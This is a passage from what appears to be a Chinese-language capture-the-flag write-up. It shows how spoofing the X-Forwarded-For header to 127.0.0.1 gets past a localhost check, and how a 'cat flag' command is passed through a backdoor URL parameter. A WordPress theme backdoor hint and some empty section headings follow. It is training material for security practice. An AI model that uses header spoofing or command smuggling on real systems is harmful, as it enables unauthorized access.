3. `$_SEVER['HTTP_X_FORWARDED_FOR']`
- 可以經由修改http header中的`X-Forwarded-For`來偽造ip
:::
- 利用firefox的header editor修改http header的`x-forwarded-for`為`127.0.0.1`

- 接著再次訪問`../?passw0rd=cat%20flag`,就不會跳localhost才能訪問,而是會跳回原本的網頁

- 最後F12看src code就可以找到flag1

## wordpress 2
- 上個flag提示,`try to find backboor in my theme`
- `themes`裡面也只有兩個檔案,其中`index.php`依然沒東西

## webshell
## command-executor
## xssme
## xssrf leak
## xssrf redis